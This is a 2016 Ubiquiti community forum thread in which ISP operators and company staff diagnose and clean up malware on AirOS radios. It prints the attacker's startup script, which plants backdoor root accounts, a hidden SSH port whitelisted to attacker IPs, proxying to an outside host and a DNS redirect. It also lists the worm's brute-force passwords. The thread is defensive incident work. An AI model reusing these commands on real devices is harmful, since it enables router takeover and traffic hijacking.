Possible new virus - august 2016


  • M
    Beta Testers

    Dear all,

    My ISP is under attack. I don' t know if it is a new virus or if it is someone attacking my ISP specifically.

    The sympthons vary, one sequence was:

    1 - The client looses access to the internet
    2 - We try to access to radio using a browser. It asks for a password, but when we type the password it neither accepts it, nor shows an error message.
    3 - We ask the user to reboot the device and regain acces to the device.
    4 - The browser shows the message "custom scripts [?] Detected [Manage]"
    5 - We access the device using SSH and find that there is an rc.poststart and an AirNET file in /etc/persistent or /var/etc/persistent
    6 - We check to see if the files and processes of MF virus are there and they are not.
    7 - We list the files in /etc/persistent again and the virus has disapeared.
    8 - We look at /var/etc/persistent and it is there.
    9 - The virus keeps alternating between /var/etc/persistent and /etc/persistent
    10 - We apply a tool to remove the MF virus even noto the having found its usual files.
    11 - We loose access to the device
    12 - After a manual reboot we regain access and the virus goes away, maybe because the tool removed all files in /etc/persistent.

    In many other cases we simply lost the ability to connect to the anthenas through SSH. Many of them are still working.

    The contents of the rc.poststart file are

    XW.v5.6.9# cat rc.poststart

    owned() {
    sleep 10
    kill -HUP 1 1>/dev/null 2>/dev/null
    kill -9 pidof lighttpd dropbear 1>/dev/null 2>/dev/null
    }
    echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0:OWNED:/etc/persistent:/bin/sh' > /etc/passwd
    echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:0:OWNED:/etc/persistent:/bin/sh' >> /etc/passwd
    sed -i '/lighttpd/d' /etc/inittab
    sed -i '/dropbear/d' /etc/inittab
    echo 'null::respawn:/bin/dropbear -F -d /etc/persistent/dropbear_dss_host_key -r /etc/persistent/dropbear_rsa_host_key -p 32700' >> /etc/inittab
    echo 'null::respawn:/var/etc/persistent/proxy 0.0.0.0 80 5.196.50.44 10591' >> /etc/inittab
    echo 'null::respawn:/var/etc/persistent/proxy 0.0.0.0 443 5.196.50.44 10592' >> /etc/inittab
    /var/etc/persistent/AirNET
    iptables -t nat -I PREROUTING -p udp –dport 53 -j DNAT --to 173.255.134.210:5353
    iptables -I INPUT -p tcp --dport 32700 -s 5.196.50.44 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 200.98.64.46 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 173.255.236.223 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 159.253.131.113 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 192.155.88.213 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 206.190.150.20 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 189.45.36.66 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 177.8.32.74 -j ACCEPT
    iptables -A INPUT -p tcp --dport 32700 -j DROP

    The contents of the /etc/persistent directory are

    XW.v5.6.9# ls
    AirNET dropbear_dss_host_key dropbear_rsa_host_key proxy rc.poststart

    The contents of the file AirNET are unreadable.

    The proccesses running are

    XW.v5.6.9# ps
    PID USER VSZ STAT COMMAND
    1 bigode 1988 S init
    2 bigode 0 SW [kthreadd]
    3 bigode 0 SW [ksoftirqd/0]
    4 bigode 0 SW [events/0]
    5 bigode 0 SW [khelper]
    8 bigode 0 SW [async/mgr]
    42 bigode 0 SW [sync_supers]
    44 bigode 0 SW [bdi-default]
    46 bigode 0 SW [kblockd/0]
    66 bigode 0 SW [kswapd0]
    67 bigode 0 SW [aio/0]
    68 bigode 0 SW [crypto/0]
    150 bigode 0 SW [mtdblockd]
    256 bigode 1976 S /bin/watchdog -t 1 /dev/watchdog
    281 bigode 0 SW [flush-31:0]
    403 bigode 1144 S /sbin/hotplug2 –persistent --set-rules-file /usr/etc
    961 bigode 7740 S /bin/infctld -m -c -g
    962 bigode 2044 S /bin/wpa_supplicant -D wext -i ath0 -c /etc/wpasuppli
    963 bigode 2596 S /bin/pppd ath0
    964 bigode 1288 S /bin/dnsmasq -k -C /etc/dnsmasq.conf -x /var/run/dnsm
    965 bigode 2028 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
    966 bigode 4408 S /bin/lighttpd -D -f /etc/lighttpd.conf
    967 bigode 1988 S init
    1241 bigode 2096 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
    1283 bigode 1988 S -sh
    1468 bigode 2092 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
    1470 bigode 2044 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
    1471 bigode 1984 R ps

    I am using AirOS 5.6.5. As far as I know that version should be resistent to MF. I updated the the latest version, what could be done even in an infected device, but the virus is still there after the update.

    The major problem is that in the majority of cases, I lost SSH access. With the MF virus that did not happen and I could clean the devices remotely.

    I am no expert in ubiquiti devices, just a ISP owner who uses them.

    Please help,

    Marcelo


  • J
    Beta Testers

    Reboot the device, quickly change the password and see if that cures it.

    While not a permanent fix, this will tell you if the file stays with the device after reboot or if the files are being re-written by another source after reboot.


  • M
    Beta Testers

    Thank you very much for you answer.

    We had already started to perform, in every problematic device, the following procedure:

    1 - ask the user to reboot the device

    2 - change the password

    3 - change ssh port

    4 - update from AirOS 5.6.5 to 5.6.9.

    We could only do it to about twenty devices, but till now no one was reinfected.

    Maybe steps 3 and 4 are unecessary. We will try to do only steps 1 and 2 in some devices and see what happens.

    Do you thing the invader new the password from the beggining?

    Even knowing the password the ivasion looks quite sofisticated. We are not a particularly large ISP (1700 users) and did not expect any hacker to focus on us. Is there any hacker kit that could allow a script kid to do what seems to have been done? Can we have access to such kit?

    The greatest problem now is that we need to contact the user to reboot the device, since we lost access to the anthenas. Is it possible that SSH is still there in another port? Is there a way to find which port is it? I would like to change all the passwords using a script.

    Completing the question, is there a way to change a password through SSH without beeing prompted fro the password? I want to put everything in a script.

    If you cannot aswer all this questions in this topic, I understand, but I will be very pleased to receive any hints.

    When I have new information, I will post it here.

    Thank you again,

    Jorge


  • J
    Beta Testers

    Revisando el rc.poststart veo que levanta el ssh sobre el puerto 32700 y luego crea una regla de iptables para evitar que cualquiera pueda acceder a ese puerto:

    iptables -I INPUT -p tcp –dport 32700 -s 5.196.50.44 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 200.98.64.46 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 173.255.236.223 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 159.253.131.113 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 192.155.88.213 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 206.190.150.20 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 189.45.36.66 -j ACCEPT
    iptables -I INPUT -p tcp --dport 32700 -s 177.8.32.74 -j ACCEPT
    iptables -A INPUT -p tcp --dport 32700 -j DROP

    ¿Solucion? Falsea dentro de tu red cualquiera de estas IPs y accede a todos los equipos mediante el puerto 32700. Podras eliminar el virus y reiniciar de nuevo la antena sin él... y sin necesidad de que los clientes reinicien la antena.

    Otro tema curioso:

    iptables -t nat -I PREROUTING -p udp --dport 53 -j DNAT --to 173.255.134.210:5353

    Están falseando las peticiones a cualquier puerto UDP 53 (DNS!) a esa IP... con el puerto 5353... seguramente de esta forma controle las antenas infectadas...

    Estaria bien reportar a abuse de ese proveedor de hosting que esa maquina está infectada.


  • Ubiquiti Employee

    Are you able to grab the Support Info file from one of these units(while showing custom scripts installed)?  If so, can you forward to james@ubnt.com?


  • Ubiquiti Employee

    The MF worm can't exploit 5.6.2+/5.5.10u2+ as far as we have seen, it does, however, try to access devices using a short list of common/weak passwords.  I'd advise changing the password on any existing units.

    Ideally 8+ characters with w/ at least one uppercase/lowercase/digit and special character.


  • Ubiquiti Employee

    Here is the password list used in one of the latest samples.

    admin
    root
    ubnt
    ubnt123
    password
    abcd1234
    abcdefgh
    qwerty
    abc123
    111111
    123456
    123123
    123qwe
    12345678
    admin1
    !@#$%^&*
    ubiquiti
    000000
    1q2w3e4r
    !Q@W#E$R
    1qaz2wsx
    
    

  • M
    Beta Testers

    Thank you very much for your answer. We did not know what was the meaning of the rc.poststart contents.

    What you said was very helpful.

    We will now try to learn how to fake an ip address. I belive I need to

    1 -  get some tool to do IP spoothing,

    2 - install it in the server we will use to launch the SSH accesses

    3 - somehow use it to change the ip source address of the packages going out of the server

    4 - route the answers of the anthenas in such away that they go back to the server instead of to the real IP

    We never did anything similar. If you have more hints we will be delighted.

    For you to understand our level of knowledge I learned to handle anthenas and routers, but I am not a programmer and I don't have an accademic degree in computer science. I have a friend that helps who is a programmer and has good knowledge of computer theory, but who does not work for my ISP. He generally works with statistics, not networks.

    Thus, with help we probably can handle the situation, but we are not proficient and have to insist in asking for help.

    Thank you again,

    Marcelo


  • M
    Beta Testers

    In my previous message I forgot one important step and will correct this now. The procedure is

    1 - ask the user to reboot the devicec

    2 - access the device using a browser and see the message saying that customs scripts were detected

    3 - click in the "manage" option and ask the custom script to be removed.

    4 - change the password

    5 - change ssh port

    6 - update from AirOS 5.6.5 to 5.6.9.

    Sorry for not having listed all the steps before. I had forgotten something important.


  • M
    Beta Testers

    We were not using any of the password in the list. Is it possible that someone who new the password (ex: a former employee) could add it to the list?

    Thank you.


  • Ubiquiti Employee

    Doesn't look like this is related to the MF worm at all.

    Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)


  • A
    Custom Avatar

    James,

    You wrote "Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)", should I understand that you have contacted the provider of that IP?


  • Ubiquiti Employee

    adrivita wrote:

    James,

    You wrote "Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)", should I understand that you have contacted the provider of that IP?


    Yes.

    As far as the worm, it isn't clear if this is being spread radio to radio or via remote host.


  • A
    Custom Avatar

    When JRiera wrote that I could fake the IP address and access the devices through port 32700 I was happy, but looking and the rc.poststart again (what I am starting to understand) I got the impression that the password was changed too.

    Is that correct?

    I suspect that this means that I cannot access the devices without the unencrypted version of the password, is that true?

    Fortunatelly rebooting the device gives me access again. Why does this happen? Did the hacker just not make the changes permanent because he didn't want too?

    I am now thinking that maybe the person who did that is reading this forum. If that person happens to be you, who is reading this right now, couldn't you kindly revert what you did? That is causing a lot of trouble to us.


  • W
    Beta - EdgeRouter

    Might also be able to block all those IP addresses, and the port 32700 on the "INPUT" chain on your main router!

    5.196.50.44   seems to be the "Control" IP address.


  • Ubiquiti Employee

    adrivita wrote:

    When JRiera wrote that I could fake the IP address and access the devices through port 32700 I was happy, but looking and the rc.poststart again (what I am starting to understand) I got the impression that the password was changed too.

    Is that correct?

    I suspect that this means that I cannot access the devices without the unencrypted version of the password, is that true?

    Fortunatelly rebooting the device gives me access again. Why does this happen? Did the hacker just not make the changes permanent because he didn't want too?

    I am now thinking that maybe the person who did that is reading this forum. If that person happens to be you, who is reading this right now, couldn't you kindly revert what you did? That is causing a lot of trouble to us.


    Since the last outbreak, we removed support for rc.scripts in the version of airOS on downloads.ubnt.com.  A reboot will clear them out (not persistent).  Looks like no permanent changes were made to the config.

    Anyone seeing this should confirm they are up to date on all units and change device credentials ASAP.  If possible, block inbound traffic to customer management interfaces. (80/443/22)


  • E
    Beta Testers

    UBNT do you feel that we are safe with 5.6.2+ at the moment?

    We are slowly upgrading to 5.6.9 but it will take us a while. If there is a known exploit, we will rush the upgrade process…


  • J
    Beta Testers

    That's right, the password is changed with the virus:

    echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0WNED:/etc/persistent:/bin/sh' > /etc/passwd
    echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:WNED:/etc/persistent:/bin/sh' >> /etc/passwd

    completely replace the file /etc/passwd (the first line) and the second adds another user :(


  • U
    Global Moderators

    jriera wrote:

    That's right, the password is changed with the virus:

    echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0WNED:/etc/persistent:/bin/sh' > /etc/passwd
    echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:WNED:/etc/persistent:/bin/sh' >> /etc/passwd

    completely replace the file /etc/passwd (the first line) and the second adds another user :(


    Also such password change isn't stored permanently and doesn't survive device reboot. Furthermore rc. scripts are not executed after device reboot in the latest airOS releases (i.e. v5.6.9), so /etc/password file isn't owerwritten again.

    -Edmundas


  • B
    Beta Testers

    I´m having the same problem here 400+ devices.

    What i´ve seem so far:

    The virus grabs password in exploited devices, and if is the same, uses to access 5.6.6+ devices to disable login and ssh port.

    The virus disables SSH port. I´ve tried nmap ports to found ssh port but no success.

    The passwords from other virus don´t work.

    Some access to internet on the clients but it makes instable maybe mess with DNS and NAT.

    Bridge still working but lost control.

    CureMalware/AirControl dont work

    No resets so far

    One more thing; the user login screen dont give credentials errors after a try. Makes it seems its compromissed.

    So far ssh down/ http/ https compromissed…

    Going to every client site doing upgrade and change of password, really a pain in the ´ss... Time lost, money lost/ client lost.

    Need a urgent tool that uses the same exploit to auto recover the devices.


Posts 35Views 6
Log in to reply

Looks like your connection to Ubiquiti Networks Community was lost, please wait while we try to reconnect.